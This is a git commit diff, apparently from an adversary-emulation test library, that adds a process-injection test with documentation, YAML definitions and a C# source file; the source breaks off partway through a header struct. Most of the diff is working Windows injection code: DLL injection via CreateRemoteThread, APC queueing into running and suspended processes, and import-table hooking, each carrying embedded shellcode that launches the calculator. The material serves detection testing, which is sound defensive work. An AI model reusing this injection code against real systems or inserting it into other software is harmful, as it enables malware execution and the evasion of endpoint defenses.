T1055 process injection (#460)
* ProcessInjection-FiveAlive * Generate docs from job=validate_atomics_generate_docs branch=T1055-ProcessInjection
This commit is contained in:
@@ -31,6 +31,8 @@ Malware commonly utilizes process injection to access system resources through w
|
||||
|
||||
- [Atomic Test #3 - Shared Library Injection via /etc/ld.so.preload](#atomic-test-3---shared-library-injection-via-etcldsopreload)
|
||||
|
||||
- [Atomic Test #4 - Process Injection via C#](#atomic-test-4---process-injection-via-c)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -88,3 +90,28 @@ This test adds a shared library to the `ld.so.preload` list to execute and inter
|
||||
echo #{path_to_shared_library} > /etc/ld.so.preload
|
||||
```
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - Process Injection via C#
|
||||
Process Injection using C#
|
||||
reference: https://github.com/pwndizzle/c-sharp-memory-injection
|
||||
Excercises Five Techniques
|
||||
1. Process injection
|
||||
2. ApcInjectionAnyProcess
|
||||
3. ApcInjectionNewProcess
|
||||
4. IatInjection
|
||||
5. ThreadHijack
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
#### Inputs
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| exe_binary | Output Binary | Path | T1055.exe|
|
||||
|
||||
#### Run it with `command_prompt`!
|
||||
```
|
||||
.\bin\#{exe_binary}
|
||||
```
|
||||
<br/>
|
||||
|
||||
@@ -59,3 +59,26 @@ atomic_tests:
|
||||
name: bash
|
||||
command: |
|
||||
echo #{path_to_shared_library} > /etc/ld.so.preload
|
||||
- name: Process Injection via C#
|
||||
description: |
|
||||
Process Injection using C#
|
||||
reference: https://github.com/pwndizzle/c-sharp-memory-injection
|
||||
Excercises Five Techniques
|
||||
1. Process injection
|
||||
2. ApcInjectionAnyProcess
|
||||
3. ApcInjectionNewProcess
|
||||
4. IatInjection
|
||||
5. ThreadHijack
|
||||
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
input_arguments:
|
||||
exe_binary:
|
||||
description: Output Binary
|
||||
type: Path
|
||||
default: T1055.exe
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: |
|
||||
.\bin\#{exe_binary}
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,1147 @@
|
||||
//Atomic Process Injection Tests
|
||||
//xref: https://github.com/pwndizzle/c-sharp-memory-injection
|
||||
|
||||
// https://github.com/peterferrie/win-exec-calc-shellcode
|
||||
|
||||
// To run:
|
||||
// 1. Compile code - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:..\bin\T1055.exe T1055.cs
|
||||
//
|
||||
|
||||
|
||||
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Text;
|
||||
|
||||
public class ProcessInject
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
// privileges
|
||||
const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||
const int PROCESS_VM_OPERATION = 0x0008;
|
||||
const int PROCESS_VM_WRITE = 0x0020;
|
||||
const int PROCESS_VM_READ = 0x0010;
|
||||
|
||||
// used for memory allocation
|
||||
const uint MEM_COMMIT = 0x00001000;
|
||||
const uint MEM_RESERVE = 0x00002000;
|
||||
const uint PAGE_READWRITE = 4;
|
||||
|
||||
public static int Inject()
|
||||
{
|
||||
|
||||
// Get process id
|
||||
Console.WriteLine("Get process by name...");
|
||||
System.Diagnostics.Process.Start("notepad");
|
||||
Process targetProcess = Process.GetProcessesByName("notepad")[0];
|
||||
|
||||
|
||||
// Get handle of the process - with required privileges
|
||||
|
||||
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
|
||||
|
||||
|
||||
// Get address of LoadLibraryA and store in a pointer
|
||||
|
||||
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
|
||||
|
||||
|
||||
// Path to dll that will be injected
|
||||
string dllName = @"C:\AtomicRedTeam\atomics\T1055\bin\w64-exec-calc-shellcode.dll";
|
||||
|
||||
// Allocate memory for dll path and store pointer
|
||||
|
||||
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
|
||||
// Write path of dll to memory
|
||||
|
||||
UIntPtr bytesWritten;
|
||||
bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, System.Text.Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
|
||||
|
||||
// Read contents of memory
|
||||
int bytesRead = 0;
|
||||
byte[] buffer = new byte[24];
|
||||
|
||||
ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
|
||||
Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer));
|
||||
|
||||
// Create a thread that will call LoadLibraryA with allocMemAddress as argument
|
||||
|
||||
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
public class ApcInjectionAnyProcess
|
||||
{
|
||||
public static void Inject()
|
||||
{
|
||||
|
||||
byte[] shellcode = new byte[112] {
|
||||
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
|
||||
};
|
||||
|
||||
// Open process. "explorer" is a good target due to the large number of threads which will enter alertable state
|
||||
Process targetProcess = Process.GetProcessesByName("notepad")[0];
|
||||
IntPtr procHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
|
||||
|
||||
// Allocate memory within process and write shellcode
|
||||
IntPtr resultPtr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
IntPtr bytesWritten = IntPtr.Zero;
|
||||
bool resultBool = WriteProcessMemory(procHandle,resultPtr,shellcode,shellcode.Length, out bytesWritten);
|
||||
|
||||
// Modify memory permissions on shellcode from XRW to XR
|
||||
uint oldProtect = 0;
|
||||
resultBool = VirtualProtectEx(procHandle, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect);
|
||||
|
||||
// Iterate over threads and queueapc
|
||||
foreach (ProcessThread thread in targetProcess.Threads)
|
||||
{
|
||||
//Get handle to thread
|
||||
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (int)thread.Id);
|
||||
|
||||
//Assign APC to thread to execute shellcode
|
||||
IntPtr ptr = QueueUserAPC(resultPtr, tHandle, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
|
||||
// Memory permissions
|
||||
private static UInt32 MEM_COMMIT = 0x1000;
|
||||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
||||
//private static UInt32 PAGE_READWRITE = 0x04;
|
||||
private static UInt32 PAGE_EXECUTE_READ = 0x20;
|
||||
|
||||
// Process privileges
|
||||
const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||
const int PROCESS_VM_OPERATION = 0x0008;
|
||||
const int PROCESS_VM_WRITE = 0x0020;
|
||||
const int PROCESS_VM_READ = 0x0010;
|
||||
|
||||
[Flags]
|
||||
public enum ThreadAccess : int
|
||||
{
|
||||
TERMINATE = (0x0001),
|
||||
SUSPEND_RESUME = (0x0002),
|
||||
GET_CONTEXT = (0x0008),
|
||||
SET_CONTEXT = (0x0010),
|
||||
SET_INFORMATION = (0x0020),
|
||||
QUERY_INFORMATION = (0x0040),
|
||||
SET_THREAD_TOKEN = (0x0080),
|
||||
IMPERSONATE = (0x0100),
|
||||
DIRECT_IMPERSONATION = (0x0200),
|
||||
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
|
||||
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
|
||||
int dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
|
||||
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true )]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
int dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
}
|
||||
|
||||
public class ApcInjectionNewProcess
|
||||
{
|
||||
public static void Inject()
|
||||
{
|
||||
|
||||
byte[] shellcode = new byte[112] {
|
||||
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
|
||||
};
|
||||
|
||||
// Target process to inject into
|
||||
string processpath = @"C:\Windows\notepad.exe";
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
|
||||
// Create new process in suspended state to inject into
|
||||
bool success = CreateProcess(processpath, null,
|
||||
IntPtr.Zero, IntPtr.Zero, false,
|
||||
ProcessCreationFlags.CREATE_SUSPENDED,
|
||||
IntPtr.Zero, null, ref si, out pi);
|
||||
|
||||
// Allocate memory within process and write shellcode
|
||||
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
|
||||
IntPtr bytesWritten = IntPtr.Zero;
|
||||
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
|
||||
|
||||
// Open thread
|
||||
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
|
||||
uint oldProtect = 0;
|
||||
|
||||
// Modify memory permissions on allocated shellcode
|
||||
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
|
||||
|
||||
// Assign address of shellcode to the target thread apc queue
|
||||
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
|
||||
|
||||
IntPtr ThreadHandle = pi.hThread;
|
||||
ResumeThread(ThreadHandle);
|
||||
|
||||
}
|
||||
|
||||
|
||||
private static UInt32 MEM_COMMIT = 0x1000;
|
||||
|
||||
//private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
|
||||
private static UInt32 PAGE_READWRITE = 0x04;
|
||||
private static UInt32 PAGE_EXECUTE_READ = 0x20;
|
||||
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ProcessCreationFlags : uint
|
||||
{
|
||||
ZERO_FLAG = 0x00000000,
|
||||
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
|
||||
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
|
||||
CREATE_NEW_CONSOLE = 0x00000010,
|
||||
CREATE_NEW_PROCESS_GROUP = 0x00000200,
|
||||
CREATE_NO_WINDOW = 0x08000000,
|
||||
CREATE_PROTECTED_PROCESS = 0x00040000,
|
||||
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
|
||||
CREATE_SEPARATE_WOW_VDM = 0x00001000,
|
||||
CREATE_SHARED_WOW_VDM = 0x00001000,
|
||||
CREATE_SUSPENDED = 0x00000004,
|
||||
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
|
||||
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
|
||||
DEBUG_PROCESS = 0x00000001,
|
||||
DETACHED_PROCESS = 0x00000008,
|
||||
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
|
||||
INHERIT_PARENT_AFFINITY = 0x00010000
|
||||
}
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public uint cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ThreadAccess : int
|
||||
{
|
||||
TERMINATE = (0x0001) ,
|
||||
SUSPEND_RESUME = (0x0002) ,
|
||||
GET_CONTEXT = (0x0008) ,
|
||||
SET_CONTEXT = (0x0010) ,
|
||||
SET_INFORMATION = (0x0020) ,
|
||||
QUERY_INFORMATION = (0x0040) ,
|
||||
SET_THREAD_TOKEN = (0x0080) ,
|
||||
IMPERSONATE = (0x0100) ,
|
||||
DIRECT_IMPERSONATION = (0x0200)
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
|
||||
int dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
|
||||
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
|
||||
[DllImport("kernel32.dll", SetLastError = true )]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(
|
||||
ProcessAccessFlags processAccess,
|
||||
bool bInheritHandle,
|
||||
int processId
|
||||
);
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint ResumeThread(IntPtr hThread);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint SuspendThread(IntPtr hThread);
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
int dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
}
|
||||
|
||||
public class IatInjection
|
||||
{
|
||||
|
||||
public static void Inject()
|
||||
{
|
||||
string targetProcName = "notepad";
|
||||
string targetFuncName = "CreateFileW";
|
||||
|
||||
// Get target process id and read memory contents
|
||||
Process process = Process.GetProcessesByName(targetProcName)[0];
|
||||
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id);
|
||||
int bytesRead = 0;
|
||||
byte[] fileBytes = new byte[process.WorkingSet64];
|
||||
ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead);
|
||||
|
||||
// The DOS header
|
||||
IMAGE_DOS_HEADER dosHeader;
|
||||
|
||||
// The file header
|
||||
IMAGE_FILE_HEADER fileHeader;
|
||||
|
||||
// Optional 32 bit file header
|
||||
IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32();
|
||||
|
||||
// Optional 64 bit file header
|
||||
IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64();
|
||||
|
||||
// Image Section headers
|
||||
IMAGE_SECTION_HEADER[] imageSectionHeaders;
|
||||
|
||||
// Import descriptor for each DLL
|
||||
IMAGE_IMPORT_DESCRIPTOR[] importDescriptors;
|
||||
|
||||
// Convert file bytes to memorystream and use reader
|
||||
MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length);
|
||||
BinaryReader reader = new BinaryReader(stream);
|
||||
|
||||
//Begin parsing structures
|
||||
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
|
||||
|
||||
// Add 4 bytes to the offset
|
||||
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
|
||||
|
||||
UInt32 ntHeadersSignature = reader.ReadUInt32();
|
||||
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
|
||||
if (Is32BitHeader(fileHeader))
|
||||
{
|
||||
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
|
||||
}
|
||||
else
|
||||
{
|
||||
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
|
||||
}
|
||||
|
||||
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
|
||||
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
|
||||
{
|
||||
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
|
||||
}
|
||||
|
||||
// Go to ImportTable and parse every imported DLL
|
||||
stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin);
|
||||
importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50];
|
||||
|
||||
for (int i = 0; i < 50; i++)
|
||||
{
|
||||
importDescriptors[i] = FromBinaryReader<IMAGE_IMPORT_DESCRIPTOR>(reader);
|
||||
}
|
||||
bool flag = false;
|
||||
int j = 0;
|
||||
|
||||
// The below is really hacky, would have been better to use structures!
|
||||
while (j < importDescriptors.Length && !flag)
|
||||
{
|
||||
for (int k = 0; k < 1000; k++)
|
||||
{
|
||||
// Get the address for the function and its name
|
||||
|
||||
stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin);
|
||||
|
||||
long nameOffset = reader.ReadInt64();
|
||||
if (nameOffset > 1000000 || nameOffset < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Get the function name
|
||||
stream.Seek(nameOffset + 2, SeekOrigin.Begin);
|
||||
List<string> list = new List<string>();
|
||||
byte[] array;
|
||||
do
|
||||
{
|
||||
array = reader.ReadBytes(1);
|
||||
list.Add(Encoding.Default.GetString(array));
|
||||
}
|
||||
while (array[0] != 0);
|
||||
string curFuncName = string.Join(string.Empty, list.ToArray());
|
||||
curFuncName = curFuncName.Substring(0, curFuncName.Length - 1);
|
||||
|
||||
// Get the offset of the pointer to the target function and its current value
|
||||
long funcOffset = importDescriptors[j].FirstThunk + (k * 8);
|
||||
stream.Seek(funcOffset, SeekOrigin.Begin);
|
||||
long curFuncAddr = reader.ReadInt64();
|
||||
|
||||
// Found target function, modify address to point to shellcode
|
||||
if (curFuncName == targetFuncName)
|
||||
{
|
||||
|
||||
// WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
|
||||
// nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
|
||||
byte[] payload = new byte[111] {
|
||||
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58
|
||||
};
|
||||
|
||||
// Once shellcode has executed go to real import (mov to rax then jmp to address)
|
||||
byte[] mov_rax = new byte[2] {
|
||||
0x48, 0xb8
|
||||
};
|
||||
byte[] jmp_address = BitConverter.GetBytes(curFuncAddr);
|
||||
byte[] jmp_rax = new byte[2] {
|
||||
0xff, 0xe0
|
||||
};
|
||||
|
||||
// Build shellcode
|
||||
byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
|
||||
payload.CopyTo(shellcode, 0);
|
||||
mov_rax.CopyTo(shellcode, payload.Length);
|
||||
jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
|
||||
jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
|
||||
|
||||
// Allocate memory for shellcode
|
||||
IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// Write shellcode to memory
|
||||
IntPtr shellcodeBytesWritten = IntPtr.Zero;
|
||||
WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten);
|
||||
|
||||
long funcAddress = (long)optionalHeader64.ImageBase + funcOffset;
|
||||
|
||||
// Get current value of IAT
|
||||
bytesRead = 0;
|
||||
byte[] buffer1 = new byte[8];
|
||||
ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead);
|
||||
|
||||
// Get shellcode address
|
||||
byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress);
|
||||
|
||||
// Modify permissions to allow IAT modification
|
||||
uint oldProtect = 0;
|
||||
bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
|
||||
|
||||
// Modfiy IAT to point to shellcode
|
||||
IntPtr iatBytesWritten = IntPtr.Zero;
|
||||
bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten);
|
||||
|
||||
// Read IAT to confirm new value
|
||||
bytesRead = 0;
|
||||
byte[] buffer = new byte[8];
|
||||
ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead);
|
||||
|
||||
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
j++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public struct IMAGE_DOS_HEADER
|
||||
{ // DOS .EXE header
|
||||
public UInt16 e_magic; // Magic number
|
||||
public UInt16 e_cblp; // Bytes on last page of file
|
||||
public UInt16 e_cp; // Pages in file
|
||||
public UInt16 e_crlc; // Relocations
|
||||
public UInt16 e_cparhdr; // Size of header in paragraphs
|
||||
public UInt16 e_minalloc; // Minimum extra paragraphs needed
|
||||
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
|
||||
public UInt16 e_ss; // Initial (relative) SS value
|
||||
public UInt16 e_sp; // Initial SP value
|
||||
public UInt16 e_csum; // Checksum
|
||||
public UInt16 e_ip; // Initial IP value
|
||||
public UInt16 e_cs; // Initial (relative) CS value
|
||||
public UInt16 e_lfarlc; // File address of relocation table
|
||||
public UInt16 e_ovno; // Overlay number
|
||||
public UInt16 e_res_0; // Reserved words
|
||||
public UInt16 e_res_1; // Reserved words
|
||||
public UInt16 e_res_2; // Reserved words
|
||||
public UInt16 e_res_3; // Reserved words
|
||||
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
|
||||
public UInt16 e_oeminfo; // OEM information; e_oemid specific
|
||||
public UInt16 e_res2_0; // Reserved words
|
||||
public UInt16 e_res2_1; // Reserved words
|
||||
public UInt16 e_res2_2; // Reserved words
|
||||
public UInt16 e_res2_3; // Reserved words
|
||||
public UInt16 e_res2_4; // Reserved words
|
||||
